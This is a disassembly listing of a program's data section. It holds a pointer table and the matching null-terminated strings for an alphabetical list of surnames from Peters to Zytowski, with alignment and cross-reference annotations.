dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EF28o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EF24o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EF20o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EF1Co
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EF18o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EF14o
aZegans db 'Zegans',0 ; DATA XREF: ___:0042EF10o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EF0Co
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EF08o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EF04o
aYu db 'Yu',0 ; DATA XREF: ___:0042EF00o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEFCo
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEF8o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEF4o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEF0o
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEECo
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEE8o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEE4o
align 10h
aYates db 'Yates',0 ; DATA XREF: ___:0042EEE0o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEDCo
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EED8o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EED4o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EED0o
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EECCo
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EEC8o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EEC4o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EEC0o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EEBCo
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EEB8o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EEB4o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EEB0o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EEACo
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EEA8o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EEA4o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EEA0o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE9Co
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE98o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE94o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE90o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE8Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE88o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE84o
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE80o
aViens db 'Viens',0 ; DATA XREF: ___:0042EE7Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE78o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE74o
aViano db 'Viano',0 ; DATA XREF: ___:0042EE70o
align 10h
aViana db 'Viana',0 ; DATA XREF: ___:0042EE6Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE68o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE64o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EE60o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE5Co
aWhately db 'Whately',0 ; DATA XREF: ___:0042EE58o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE54o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE50o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE4Co
align 10h
aVenne db 'Venne',0 ; DATA XREF: ___:0042EE48o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE44o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE40o
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EE3Co
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE38o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EE34o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EE30o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EE2Co
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EE28o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EE24o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EE20o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EE1Co
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EE18o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EE14o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EE10o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EE0Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EE08o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EE04o
align 10h
aWalter db 'Walter',0 ; DATA XREF: ___:0042EE00o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDFCo
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0042EDF8o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDF4o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDF0o
aWaite db 'Waite',0 ; DATA XREF: ___:0042EDECo
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDE8o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDE4o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDE0o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDDCo
align 10h
aUrban db 'Urban',0 ; DATA XREF: ___:0042EDD8o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EDD4o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EDD0o
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EDCCo
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EDC8o
align 10h
aTwells db 'Twells',0 ; DATA XREF: ___:0042EDC4o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EDC0o
align 10h
aTurek db 'Turek',0 ; DATA XREF: ___:0042EDBCo
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EDB8o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EDB4o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EDB0o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EDACo
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EDA8o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EDA4o
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EDA0o
aTruss db 'Truss',0 ; DATA XREF: ___:0042ED9Co
align 10h
aTroy db 'Troy',0 ; DATA XREF: ___:0042ED98o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED94o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED90o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED8Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED88o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED84o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042ED80o
align 10h
aTowler db 'Towler',0 ; DATA XREF: ___:0042ED7Co
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042ED78o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED74o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED70o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED6Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED68o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED64o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED60o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED5Co
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED58o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED54o
aTill db 'Till',0 ; DATA XREF: ___:0042ED50o
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED4Co
aThroop db 'Throop',0 ; DATA XREF: ___:0042ED48o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED44o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED40o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED3Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED38o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ED34o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042ED30o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ED2Co
align 10h
aTenney db 'Tenney',0 ; DATA XREF: ___:0042ED28o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ED24o
align 10h
aTemes db 'Temes',0 ; DATA XREF: ___:0042ED20o
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042ED1Co
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ED18o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042ED14o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ED10o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042ED0Co
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ED08o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: ___:0042ED04o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ED00o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECFCo
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042ECF8o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECF4o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECF0o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECECo
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECE8o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECE4o
align 10h
aSuo db 'Suo',0 ; DATA XREF: ___:0042ECE0o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECDCo
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECD8o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042ECD4o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042ECD0o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042ECCCo
aStrange db 'Strange',0 ; DATA XREF: ___:0042ECC8o
aStott db 'Stott',0 ; DATA XREF: ___:0042ECC4o
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042ECC0o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042ECBCo
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042ECB8o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042ECB4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042ECB0o
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042ECACo
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042ECA8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042ECA4o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042ECA0o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC9Co
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC98o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC94o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC90o
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042EC8Co
align 4
aStates db 'States',0 ; DATA XREF: ___:0042EC88o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042EC84o
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0042EC80o
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042EC7Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042EC78o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042EC74o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042EC70o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042EC6Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042EC68o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042EC64o
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0042EC60o
aSpence db 'Spence',0 ; DATA XREF: ___:0042EC5Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042EC58o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042EC54o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042EC50o
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042EC4Co
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042EC48o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0042EC44o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042EC40o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0042EC3Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042EC38o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042EC34o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042EC30o
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042EC2Co
align 4
aSolon db 'Solon',0 ; DATA XREF: ___:0042EC28o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042EC24o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042EC20o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042EC1Co
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042EC18o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042EC14o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042EC10o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042EC0Co
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042EC08o
align 10h
aSkane db 'Skane',0 ; DATA XREF: ___:0042EC04o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042EC00o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042EBFCo
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042EBF8o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042EBF4o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042EBF0o
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042EBECo
align 4
aSigini db 'Sigini',0 ; DATA XREF: ___:0042EBE8o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042EBE4o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042EBE0o
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042EBDCo
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0042EBD8o
aShia db 'Shia',0 ; DATA XREF: ___:0042EBD4o
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0042EBD0o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042EBCCo
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042EBC8o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042EBC4o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: ___:0042EBC0o
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042EBBCo
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042EBB8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042EBB4o
aShar db 'Shar',0 ; DATA XREF: ___:0042EBB0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042EBACo
aShankland db 'Shankland',0 ; DATA XREF: ___:0042EBA8o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: ___:0042EBA4o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042EBA0o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042EB9Co
aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB98o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042EB94o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042EB90o
aSen db 'Sen',0 ; DATA XREF: ___:0042EB8Co
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042EB88o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042EB84o
align 4
